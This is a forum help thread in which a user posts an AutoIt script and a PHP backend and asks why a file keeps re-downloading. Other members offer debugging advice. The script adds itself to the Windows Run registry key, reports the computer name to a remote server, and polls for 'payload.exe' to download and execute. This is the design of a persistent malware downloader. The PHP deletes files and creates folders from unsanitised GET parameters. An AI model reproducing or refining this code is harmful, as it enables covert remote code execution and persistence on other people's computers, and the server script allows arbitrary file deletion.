Sign in to follow this  
Followers 0
COD3369

File Downloading again n again even not availeble on server?

7 posts in this topic

#1 ·  Posted (edited)

I made a script that create a folder on server with current computer name usings php (Winhttp) after that program looks for a "payload.exe" when availble on server then it will download the file and exeute it. and delete the downloaded file from server using php.the again look for file (payload.exe) in a loop when availeble it will download and execute the update.

 

Problem: once it download the file from server and execute and delete the file from server. But after deleting the file from server it still downloading the file again n again!! m not getting from where its downloading the file in actual that really does not exsist on server? !! 

My Autoit Code below!

#NoTrayIcon
#include "WinHttp.au3"
#include <Crypt.au3>
#include <InetConstants.au3>
#include <MsgBoxConstants.au3>
#include <Inet.au3>

Local $Temp = Random(0,50) & ".exe"
Local $RegKey = "ProgramUpdater"
Local $MD5 = _Crypt_HashData ( $RegKey , $CALG_MD5 )
Local $MD5F = StringTrimLeft ( $MD5 , 2 )
Local $IP = ""
Local $PayloadName = "payload.exe"
Local $sServer = "http://someserever.com/"
Local $ExtPath = "folder1/folder2/"
Local $foldermake = "process.php?folder=" & @ComputerName & "-" & $IP
Local $FileDel = "process.php?folder=" & @ComputerName & "-" & $IP & "&" & "paydel=" & $PayloadName
Local $mLink = $sServer & $ExtPath & @ComputerName & "-" & $IP & "/" & $PayloadName

RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", $RegKey & $MD5F , "REG_SZ", @ScriptFullPath )

Local $sOpen = _WinHttpOpen()
Local $sConnect = _WinHttpConnect($sOpen, $sServer)
Local $sRequest = _WinHttpOpenRequest($sConnect, Default, $ExtPath & $foldermake )
_WinHttpSendRequest($sRequest)
_WinHttpCloseHandle($sRequest)
_WinHttpCloseHandle($sConnect)

while 1
   if FileExists (@ScriptDir & "\" & $PayloadName) Then
   Else
    Local $sFilePath = @ScriptDir & "/" & $PayloadName
    Local $hDownload = InetGet($mLink , @ScriptDir & "/" & $Temp, $INET_BINARYTRANSFER , $INET_DOWNLOADBACKGROUND)
    Do
        Sleep(250)
    Until InetGetInfo($hDownload, $INET_DOWNLOADCOMPLETE)

    Local $iBytesSize = InetGetInfo($hDownload, $INET_DOWNLOADREAD)
    Local $iFileSize = FileGetSize($sFilePath)
    InetClose($hDownload)
    Exit
    ;Run ( @ScriptDir & "\" & $PayloadName )
    Local $sOpen = _WinHttpOpen()
    Local $sConnect = _WinHttpConnect($sOpen, $sServer)
    Local $sRequest = _WinHttpOpenRequest($sConnect, Default, $ExtPath & $FileDel )
    _WinHttpSendRequest($sRequest)
    _WinHttpCloseHandle($sRequest)
    _WinHttpCloseHandle($sConnect)
 EndIf
 sleep(10000)
WEnd

m using this public UDF: https://github.com/dragana-r/autoit-winhttp/releases

php that i am using code below

 

<?php
$paydel = $_GET['paydel'];
$folder = $_GET['folder'];
unlink ($folder . "/" . $paydel);
mkdir($folder , 0777);
?>

 

Please help me in this :( 

Thank you !!

Edited by COD3369

Share this post


Link to post
Share on other sites



3 views no reply ;(

Share this post


Link to post
Share on other sites

Cod3369,

You should wait at least 24 hours before bumping your post. Lots of folks, including myself, will read a thread and move on without responding. B)

A couple of items for you to examine:

  • Have you verified that the file deletion is actually occurring on the server?
  • Where are you deleting the local copy of the file?

Regards, Dan

1 person likes this

Share this post


Link to post
Share on other sites

@Danp2 first of all thank you for your reply brother.

Yeah i confirmed file is deleting from server and from local path.

 

Share this post


Link to post
Share on other sites

@JohnOne Thanks bro its working now :) 

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!


Register a new account

Sign in

Already have an account? Sign in here.


Sign In Now
Sign in to follow this  
Followers 0